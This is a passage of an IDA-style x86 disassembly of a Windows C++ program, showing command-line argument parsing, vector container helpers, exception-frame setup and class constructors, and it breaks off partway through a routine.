push offset SEH_40A430
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
mov edi, [esp+44h+arg_8]
mov esi, ecx
test edi, edi
mov [esp+44h+var_38], 0
jnz short loc_40A471
mov esi, [esp+44h+arg_0]
push offset byte_446F60
mov ecx, esi
call sub_401861
jmp loc_40A5A4
; ---------------------------------------------------------------------------
loc_40A471: ; CODE XREF: sub_40A430+2Aj
lea eax, [esp+44h+arg_8]
lea ecx, [esp+44h+var_34]
push eax
call sub_401690
mov ecx, [esi+9]
mov [esp+44h+var_4], 1
push ecx
lea ecx, [esp+48h+var_24]
call sub_401861
lea ecx, [esp+44h+var_24]
mov byte ptr [esp+44h+var_4], 2
call sub_4014D3
mov [esp+44h+var_3C], eax
mov cl, [eax]
test cl, cl
jz loc_40A555
push ebx
loc_40A4B1: ; CODE XREF: sub_40A430+11Ej
mov dl, [edi]
cmp cl, dl
jnz short loc_40A4C0
loc_40A4B7: ; CODE XREF: sub_40A430+8Ej
inc eax
mov [esp+48h+var_3C], eax
cmp [eax], dl
jz short loc_40A4B7
loc_40A4C0: ; CODE XREF: sub_40A430+85j
cmp byte ptr [eax], 22h
setz bl
test bl, bl
jz short loc_40A4CF
inc eax
mov [esp+48h+var_3C], eax
loc_40A4CF: ; CODE XREF: sub_40A430+98j
lea edx, [esp+48h+var_3C]
lea ecx, [esp+48h+var_34]
push edx
call sub_401988
mov eax, [esp+48h+var_3C]
test bl, bl
mov cl, [eax]
jz short loc_40A51F
test cl, cl
jz short loc_40A507
loc_40A4EB: ; CODE XREF: sub_40A430+D5j
cmp cl, 22h
jnz short loc_40A4FC
mov cl, [eax+1]
cmp cl, 20h
jz short loc_40A507
test cl, cl
jz short loc_40A507
loc_40A4FC: ; CODE XREF: sub_40A430+BEj
inc eax
mov [esp+48h+var_3C], eax
mov cl, [eax]
test cl, cl
jnz short loc_40A4EB
loc_40A507: ; CODE XREF: sub_40A430+B9j
; sub_40A430+C6j ...
cmp byte ptr [eax], 0
jz short loc_40A54A
mov byte ptr [eax], 0
mov eax, [esp+48h+var_3C]
mov cl, [eax+1]
test cl, cl
jz short loc_40A54A
add eax, 2
jmp short loc_40A546
; ---------------------------------------------------------------------------
loc_40A51F: ; CODE XREF: sub_40A430+B5j
test cl, cl
jz short loc_40A534
mov dl, [edi]
loc_40A525: ; CODE XREF: sub_40A430+102j
cmp cl, dl
jz short loc_40A534
inc eax
mov [esp+48h+var_3C], eax
mov cl, [eax]
test cl, cl
jnz short loc_40A525
loc_40A534: ; CODE XREF: sub_40A430+F1j
; sub_40A430+F7j
mov cl, [eax]
test cl, cl
jz short loc_40A54A
cmp cl, [edi]
jnz short loc_40A54A
mov byte ptr [eax], 0
mov eax, [esp+48h+var_3C]
inc eax
loc_40A546: ; CODE XREF: sub_40A430+EDj
mov [esp+48h+var_3C], eax
loc_40A54A: ; CODE XREF: sub_40A430+DAj
; sub_40A430+E8j ...
mov cl, [eax]
test cl, cl
jnz loc_40A4B1
pop ebx
loc_40A555: ; CODE XREF: sub_40A430+7Aj
lea ecx, [esp+44h+var_34]
call sub_4011F9
mov ecx, [esp+44h+arg_4]
cmp ecx, eax
jb short loc_40A56D
push offset byte_446F60
jmp short loc_40A57A
; ---------------------------------------------------------------------------
loc_40A56D: ; CODE XREF: sub_40A430+134j
push ecx
lea ecx, [esp+48h+var_34]
call sub_401F64
mov eax, [eax]
push eax
loc_40A57A: ; CODE XREF: sub_40A430+13Bj
mov esi, [esp+48h+arg_0]
mov ecx, esi
call sub_401861
lea ecx, [esp+44h+var_24]
mov [esp+44h+var_38], 1
call sub_401226
lea ecx, [esp+44h+var_34]
mov byte ptr [esp+44h+var_4], 0
call sub_40158C
; ---------------------------------------------------------------------------
loc_40A5A4: ; CODE XREF: sub_40A430+3Cj
mov ecx, [esp+44h+var_C]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn 10h
sub_40A430 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A630 proc near ; CODE XREF: sub_4016AEj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ecx
mov eax, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push 0
push eax
push edx
push esi
mov [esp+18h+var_4], 0
call sub_4011EA
mov eax, esi
pop esi
pop ecx
retn 0Ch
sub_40A630 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A670 proc near ; CODE XREF: sub_40200Ej
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4015D7
pop esi
retn 4
sub_40A670 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A6A0 proc near ; CODE XREF: sub_401A87j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4015D7
retn 4
sub_40A6A0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A6C0 proc near ; CODE XREF: sub_40146Fj
arg_0 = dword ptr 4
mov eax, [ecx+9]
mov ecx, [esp+arg_0]
add eax, ecx
retn 4
sub_40A6C0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A6E0: ; CODE XREF: ___:0040149Cj
mov eax, [ecx+9]
mov ecx, [esp+4]
add eax, ecx
retn 4
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A700 proc near ; CODE XREF: sub_401389j
mov eax, [ecx+9]
retn
sub_40A700 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A720 proc near ; CODE XREF: sub_4017E4j
mov eax, [ecx+9]
retn
sub_40A720 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A740 proc near ; CODE XREF: sub_4014D3j
mov eax, [ecx+9]
retn
sub_40A740 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A760 proc near ; CODE XREF: sub_401690j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dl, [ecx]
xor ecx, ecx
mov [eax], dl
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
retn 4
sub_40A760 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40A790 proc near ; CODE XREF: sub_40158Cj
push esi
mov esi, ecx
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_4019A6
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_4011EF
sub_40A790 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A7E0 proc near ; CODE XREF: sub_4011F9j
mov edx, [ecx+4]
test edx, edx
jnz short loc_40A7EA
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40A7EA: ; CODE XREF: sub_40A7E0+5j
mov eax, [ecx+8]
sub eax, edx
sar eax, 2
retn
sub_40A7E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A810 proc near ; CODE XREF: sub_401F64j
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_4011F9
mov edi, [esp+8+arg_0]
cmp eax, edi
ja short loc_40A828
mov ecx, esi
call sub_401EE7
loc_40A828: ; CODE XREF: sub_40A810+Fj
mov ecx, esi
call sub_401D1B
lea eax, [eax+edi*4]
pop edi
pop esi
retn 4
sub_40A810 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A850 proc near ; CODE XREF: sub_401988j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40164F
push eax
mov ecx, esi
call sub_4016EF
pop esi
retn 4
sub_40A850 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A880 proc near ; CODE XREF: sub_401D1Bj
mov eax, [ecx+4]
retn
sub_40A880 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A8A0 proc near ; CODE XREF: sub_40164Fj
mov eax, [ecx+8]
retn
sub_40A8A0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A8C0 proc near ; CODE XREF: sub_4016EFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, ecx
call sub_401D1B
mov edx, [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
push edx
mov esi, eax
push 1
sub esi, ecx
push eax
mov ecx, edi
sar esi, 2
call sub_4013CF
mov ecx, edi
call sub_401D1B
lea eax, [eax+esi*4]
pop edi
pop esi
retn 8
sub_40A8C0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A910 proc near ; CODE XREF: sub_4019A6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
cmp esi, ebx
mov edi, ecx
jz short loc_40A930
loc_40A921: ; CODE XREF: sub_40A910+1Ej
push esi
mov ecx, edi
call sub_4018B1
add esi, 4
cmp esi, ebx
jnz short loc_40A921
loc_40A930: ; CODE XREF: sub_40A910+Fj
pop edi
pop esi
pop ebx
retn 8
sub_40A910 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A950: ; CODE XREF: sub_401EE7j
push 0FFFFFFFFh
push offset loc_438AB9
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [esp+3]
lea ecx, [esp+4]
push eax
push offset aInvalidVectorT ; "invalid vector<T> subscript"
nop
call near ptr 76081F67h
lea ecx, [esp+4]
mov dword ptr [esp+38h], 0
push ecx
lea ecx, [esp+18h]
nop
call near ptr 760A0430h
lea edx, [esp+14h]
push offset dword_43F080
push edx
call sub_436832
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40A9D0 proc near ; CODE XREF: sub_4011EFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_40A9D0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A9F0 proc near ; CODE XREF: sub_4013CFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, [esp+10h+arg_4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
sub ecx, eax
sar ecx, 2
cmp ecx, edi
jnb loc_40AABB
mov ecx, esi
call sub_4011F9
cmp edi, eax
jnb short loc_40AA23
mov ecx, esi
call sub_4011F9
mov ebp, eax
jmp short loc_40AA25
; ---------------------------------------------------------------------------
loc_40AA23: ; CODE XREF: sub_40A9F0+26j
mov ebp, edi
loc_40AA25: ; CODE XREF: sub_40A9F0+31j
mov ecx, esi
call sub_4011F9
mov ebx, eax
push 0
add ebx, ebp
mov ecx, esi
push ebx
call sub_401DCF
mov edx, [esp+10h+arg_0]
mov ebp, eax
mov eax, [esi+4]
push ebp
push edx
push eax
mov ecx, esi
call sub_4010CD
mov ecx, [esp+10h+arg_8]
mov [esp+10h+arg_4], eax
push ecx
push edi
push eax
mov ecx, esi
call sub_402176
mov edx, [esp+10h+arg_4]
mov ecx, [esi+8]
lea eax, [edx+edi*4]
mov edx, [esp+10h+arg_0]
push eax
push ecx
push edx
mov ecx, esi
call sub_4010CD
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_4019A6
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_4011EF
; ---------------------------------------------------------------------------
lea eax, [ebp+ebx*4+0]
mov ecx, esi
mov [esi+0Ch], eax
call sub_4011F9
add eax, edi
mov [esi+4], ebp
pop edi
lea ecx, [ebp+eax*4+0]
mov [esi+8], ecx
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40AABB: ; CODE XREF: sub_40A9F0+17j
mov ebx, [esp+10h+arg_0]
mov edx, eax
sub edx, ebx
sar edx, 2
cmp edx, edi
jnb short loc_40AB19
lea ebp, ds:0[edi*4]
lea ecx, [ebx+ebp]
push ecx
push eax
push ebx
mov ecx, esi
call sub_4010CD
mov eax, [esi+8]
mov edx, [esp+10h+arg_8]
mov ecx, eax
push edx
sub ecx, ebx
sar ecx, 2
sub edi, ecx
mov ecx, esi
push edi
push eax
call sub_402176
mov edx, [esp+10h+arg_8]
mov eax, [esi+8]
push edx
push eax
push ebx
call sub_401E6F
mov eax, [esi+8]
add esp, 0Ch
add eax, ebp
mov [esi+8], eax
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40AB19: ; CODE XREF: sub_40A9F0+D8j
test edi, edi
jbe short loc_40AB53
shl edi, 2
push eax
push eax
sub eax, edi
mov ecx, esi
push eax
call sub_4010CD
mov eax, [esi+8]
push eax
sub eax, edi
push eax
push ebx
call sub_4020AE
mov ecx, [esp+1Ch+arg_8]
lea edx, [edi+ebx]
push ecx
push edx
push ebx
call sub_401E6F
mov eax, [esi+8]
add esp, 18h
add eax, edi
mov [esi+8], eax
loc_40AB53: ; CODE XREF: sub_40A9F0+12Bj
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
sub_40A9F0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ABC0 proc near ; CODE XREF: sub_4018B1j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_1
pop ecx
retn 4
sub_40ABC0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ABE0 proc near ; CODE XREF: sub_4010CDj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
mov esi, [esp+0Ch+arg_0]
mov ebx, ecx
cmp esi, ebp
jz short loc_40AC12
push edi
mov edi, [esp+10h+arg_8]
loc_40ABF6: ; CODE XREF: sub_40ABE0+27j
push esi
push edi
mov ecx, ebx
call sub_402121
add esi, 4
add edi, 4
cmp esi, ebp
jnz short loc_40ABF6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40AC12: ; CODE XREF: sub_40ABE0+Fj
mov eax, [esp+0Ch+arg_8]
pop esi
pop ebp
pop ebx
retn 0Ch
sub_40ABE0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AC30 proc near ; CODE XREF: sub_402176j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
push edi
mov edi, [esp+8+arg_4]
mov ebp, ecx
test edi, edi
jbe short loc_40AC57
push ebx
mov ebx, [esp+0Ch+arg_8]
push esi
mov esi, [esp+10h+arg_0]
loc_40AC46: ; CODE XREF: sub_40AC30+23j
push ebx
push esi
mov ecx, ebp
call sub_402121
add esi, 4
dec edi
jnz short loc_40AC46
pop esi
pop ebx
loc_40AC57: ; CODE XREF: sub_40AC30+Aj
pop edi
pop ebp
retn 0Ch
sub_40AC30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AC70 proc near ; CODE XREF: sub_401DCFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_4014CE
add esp, 8
retn 8
sub_40AC70 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ACA0 proc near ; CODE XREF: sub_402121j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401DE8
add esp, 8
retn 8
sub_40ACA0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ACD0 proc near ; CODE XREF: sub_401E6Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jz short locret_40ACED
mov edx, [esp+arg_8]
push esi
loc_40ACE1: ; CODE XREF: sub_40ACD0+1Aj
mov esi, [edx]
mov [eax], esi
add eax, 4
cmp eax, ecx
jnz short loc_40ACE1
pop esi
locret_40ACED: ; CODE XREF: sub_40ACD0+Aj
retn
sub_40ACD0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AD00 proc near ; CODE XREF: sub_4020AEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp edx, ecx
jz short loc_40AD22
mov eax, [esp+arg_8]
push esi
loc_40AD11: ; CODE XREF: sub_40AD00+1Ej
mov esi, [ecx-4]
sub ecx, 4
sub eax, 4
cmp ecx, edx
mov [eax], esi
jnz short loc_40AD11
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AD22: ; CODE XREF: sub_40AD00+Aj
mov eax, [esp+arg_8]
retn
sub_40AD00 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AD60 proc near ; CODE XREF: sub_4014CEj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40AD6A
xor eax, eax
loc_40AD6A: ; CODE XREF: sub_40AD60+6j
shl eax, 2
push eax
call sub_4367FA
add esp, 4
retn
sub_40AD60 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AD90 proc near ; CODE XREF: sub_401DE8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40ADAB
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40ADAB: ; CODE XREF: sub_40AD90+11j
retn
sub_40AD90 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ADC0 proc near ; CODE XREF: sub_401E6Aj
mov eax, ecx
mov dword ptr [eax], offset off_43E014
retn
sub_40ADC0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40ADE0: ; CODE XREF: ___:00401717j
; ___:loc_402027j
push esi
mov esi, ecx
call sub_402031
test byte ptr [esp+8], 1
jz short loc_40ADF8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_40ADF8: ; CODE XREF: ___:0040ADEDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE10 proc near ; CODE XREF: sub_402031j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_40AE10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
push edi
mov dword ptr [ecx], offset off_43E014
mov [ebp+var_10], esp
mov [ebp+var_4], 0
call sub_401744
loc_40AE41: ; DATA XREF: sub_40AE52o
mov ecx, [ebp+var_C]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_40AE10 endp
; =============== S U B R O U T I N E =======================================
sub_40AE52 proc near ; DATA XREF: ___:0043F1BCo
mov eax, offset loc_40AE41
retn
sub_40AE52 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AE80 proc near ; CODE XREF: sub_4014BAj
call sub_401708
jmp sub_4017B2
sub_40AE80 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AEA0 proc near ; CODE XREF: sub_401B18j
call sub_40161D
jmp sub_4017C1
sub_40AEA0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AEC0 proc near ; CODE XREF: sub_4013D4j
push esi
mov esi, ecx
push esi
push offset loc_40141F
lea eax, [esi+0Ch]
push 0
push eax
call sub_40123A
add esp, 10h
test eax, eax
jnz short loc_40AEE2
mov al, 1
mov [esi+10h], al
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AEE2: ; CODE XREF: sub_40AEC0+19j
mov byte ptr [esi+10h], 0
xor al, al
pop esi
retn
sub_40AEC0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AF00: ; CODE XREF: ___:004011C2j
push ecx
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40AF27
mov ecx, [esi+0Ch]
lea eax, [esp+4]
push eax
push ecx
call sub_40175D
mov eax, [esp+0Ch]
add esp, 8
mov byte ptr [esi+10h], 0
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
loc_40AF27: ; CODE XREF: ___:0040AF09j
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AF40 proc near ; CODE XREF: sub_401744j
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40AF5C
mov eax, [esi+0Ch]
push 0Fh
push eax
call sub_401758
add esp, 8
mov byte ptr [esi+10h], 0
loc_40AF5C: ; CODE XREF: sub_40AF40+8j
pop esi
retn
sub_40AF40 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AF70: ; CODE XREF: ___:004011F4j
mov eax, [ecx+0Ch]
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AF90: ; CODE XREF: ___:loc_40141Fj
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_438AE0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov ecx, [ebp+8]
push ebx
push esi
push edi
mov eax, [ecx]
mov [ebp-10h], esp
mov dword ptr [ebp-4], 0
call dword ptr [eax+4]
loc_40AFBE: ; DATA XREF: ___:loc_40AFD1o
mov ecx, [ebp-0Ch]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40AFD1: ; DATA XREF: ___:0043F21Co
mov eax, offset loc_40AFBE
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B000 proc near ; CODE XREF: sub_401028j
var_8 = dword ptr -8
var_4 = byte ptr -4
sub esp, 8
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40B042
mov edx, [esi+0Ch]
lea eax, [esp+0Ch+var_8]
lea ecx, [esp+0Ch+var_4]
push eax
push ecx
push edx
call sub_40218F
mov edx, [esi+0Ch]
mov eax, [esp+18h+var_8]
lea ecx, [esp+18h+var_8]
mov [esi+8], eax
push ecx
push 1
push edx
mov [esp+24h+var_8], 0
call sub_401050
add esp, 18h
loc_40B042: ; CODE XREF: sub_40B000+Bj
pop esi
add esp, 8
retn
sub_40B000 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B070 proc near ; CODE XREF: sub_401DCAj
var_4 = dword ptr -4
push ecx
mov al, [ecx+10h]
test al, al
jz short loc_40B092
mov eax, [ecx+8]
lea edx, [esp+4+var_4]
mov [esp+4+var_4], eax
mov eax, [ecx+0Ch]
push edx
push 1
push eax
call sub_401050
add esp, 0Ch
loc_40B092: ; CODE XREF: sub_40B070+6j
pop ecx
retn
sub_40B070 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B0B0 proc near ; CODE XREF: sub_4019F1j
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B0B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov [esp+1Ch+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+1Ch+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+1Ch+var_4], 1
call sub_401749
lea edi, [esi+8Eh]
lea eax, [esp+1Ch+var_11]
push eax
mov ecx, edi
mov byte ptr [esp+20h+var_4], 2
call sub_401BF4
mov ecx, edi
mov byte ptr [esp+1Ch+var_4], 3
mov dword ptr [esi], offset off_43E020
call sub_401BEF
mov ecx, [esp+1Ch+var_C]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
sub_40B0B0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B170 proc near ; CODE XREF: sub_401AE6j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B170
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
push edi
mov [esp+18h+var_10], esi
mov dword ptr [esi], offset off_43E020
lea edi, [esi+8Eh]
mov [esp+18h+var_4], 3
mov ecx, edi
call sub_401BEF
mov ecx, edi
mov byte ptr [esp+18h+var_4], 2
call sub_401555
sub_40B170 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+60h]
mov byte ptr [esp+14h], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h], 0
call sub_401023
lea ecx, [esi+4]
mov dword ptr [esp+14h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+0Ch]
pop edi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B210 proc near ; CODE XREF: sub_4017EEj
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B210
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
mov esi, ecx
lea ecx, [esi+8Eh]
call sub_401BEF
push 0
push 14h
push 13h
push 9
push 0Ch
push 4Eh
push 12h
push 1
push 16h
lea eax, [esp+64h+var_3C]
push 3
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+40h+var_3C]
mov [esp+40h+var_4], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
push 7
push 4Fh
push 12h
push 1
push 16h
lea edx, [esp+60h+var_3C]
push 3
push edx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov [esp+44h+var_4], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+40h+var_3C]
mov [esp+40h+var_4], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
push 13h
push 4Eh
push 12h
push 1
push 16h
lea ecx, [esp+60h+var_24]
push 3
push ecx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov [esp+44h+var_4], 2
